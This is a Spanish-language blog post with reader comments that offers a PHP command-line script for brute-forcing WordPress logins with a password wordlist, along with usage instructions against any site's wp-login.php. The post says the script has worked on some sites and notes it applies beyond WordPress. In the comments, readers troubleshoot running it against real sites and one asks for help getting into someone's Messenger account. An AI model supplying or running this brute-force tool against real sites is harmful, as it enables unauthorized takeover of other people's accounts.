Web Login por fuerza bruta

Wordpress no cuenta con un captcha por defecto ni tampoco con login throttling, o algo que limite los intentos de ingreso de usuario y clave para los usuarios, por lo que practicar fuerza bruta para ingresar como alguno de los usuarios registrados es algo que podemos intentar. Muchos sistemas de ingreso no cuentan con este tipo de proteccion o validacion, por lo que este escript no solo se puede usar contra wordpress.

Hemos escrito un pequeño programa en PHP que nos permitira hacer post al sistema de login de wordpress probando claves desde un diccionario de palabras.

< ?php
ini_set("memory_limit", "100M");
function crackSite($wordlist, $url, $user, $attemps = 0)
{
        if($file = file($wordlist))
                print "Read ".count($file)." words.n";
        else
        {
                print "Can't read word list file.n";
                die();
        }
        $i = 0;
        rtrim($fields_string,'&');
        foreach($file as $word)
	{
                if(++$i%10 == 0)
                        print "Attempts: ".$i."/".count($file)." (".trim($word).")n";
                $fields_string = "log=".$user."&pwd=".trim($word);
                $ch = curl_init();
                curl_setopt($ch,CURLOPT_URL,$url);
                curl_setopt($ch,CURLOPT_POSTFIELDS,$fields_string);
                curl_setopt($ch,CURLOPT_RETURNTRANSFER, true);
                $result = md5( curl_exec($ch) );
                if(!$oresult) $oresult = $result;
                if($oresult != $result)
                {
                        print "Password found: ".$word."n";
                        die();
                }
                curl_close($ch);
        }
}
crackSite($argv[1], $argv[2], $argv[3]);
?>

Este script esta diseñado para correrlo desde la linea de comandos (php-cli) y su modo de uso es el siguiente:

$ php wp_cracker.php wordlist.txt https://sitio.com/wp-login.php Username

Notese que el script en ningun momento valida datos de entrada y salida, por lo que depende de la persona que lo ejecute que los parametros esten bien. Se ha probado este script con algunos sitios y ha funcionado, puede que para otros sitios sea necesario hacer algunas modificaciones. El primer parametro corresponde al fichero que contiene nuestro diccionario de palabras, el segundo a la URL que el script debe hacer post y el tercero al usuario.
Lo unico que debemos saber es el nombre de usuario que existe en el registro del sitio. Para intentar ingresar a otros sitios es necesario modificar el codigo fuente y cambiar los nombres de los campos.

Requerimientos: Curl y PHP.

Video tutorial:

httpvh://www.youtube.com/watch?v=CMfxsGQOtd8

Descargar video:
Mirror 1: Hardmodding (2.8M)

Comentarios (14)

Pollo
$wordlist que pòngo aca podrias poner un ejemplo porfavor pon un enlace de block de nota o tengo que crear una base de dato dentro de php..

#
function crackSite($wordlist, $url, $user, $attemps = 0)
Zerial
Pollo: wordlist es un archivo con la lista de palabras para realizar la fuerza bruta. Puedes descargar un wordlist desde aca: http://blog.zerial.org/files/wordlist.bz2
sirpan
con php5.cli instalado me esta dando un error con la funcion curl-init() dice que no esta declarada.

alguna idea de porque?
_Dark_
Oye zerial, me sale 404 para el video, si tienes el original, mandamelo al mail y lo subo de nuevo ;)
Zerial
@_Dark_ ya no tengo el video en "alta calidad" :( Pensé que aun estaba alojado en ese server... solo queda la version de youtube (calidad ahi nomas).

En fin, sacare ese mirror

gracias!
_Dark_
D: veré si está en alguno de los respaldos y te aviso... Nos migraron el server de un día para otro =\
_Dark_
Corrígete el tamaño del video sipo'oe xD no son ná 5 megas, son como 3 :P
francis
perdi mi contraseña de messenger y me urge recuperarla por cuestion de trabajo.me podria ayudar?si es asi pongase en contacto conmigo en mi nueva direccion de hotmail que arriba le adjunto.gracias!
abel
Que util :P
si fuera más rapido seria ideal...
tomatragos
Estoy trabado aquí solo obtengo esto que estoy haciendo mal
Como usuario ROOT

php wp_cracker.php wordlist.txt http://www.*******.com/wp-login.php desempleado

Could not open input file: wp_cracker.php
Juanla
Eso es porque tienes que indicar en que directorio esta el archivo wp_cracker.php o situarte con la terminal en el directorio.
A los que le salgan el error con el curl_init, que lo instalen (php5-curl)

Muy buen post, no esta nada mal el script :)
Nombre
Pon el link de descarga de el programa.
WEbin
no funciona, pongo la línea en la terminal y me abre el documento wp_cracker.php en la misma terminal
CarriZick468220
http://www.psngenerateur.com/

Deja un comentario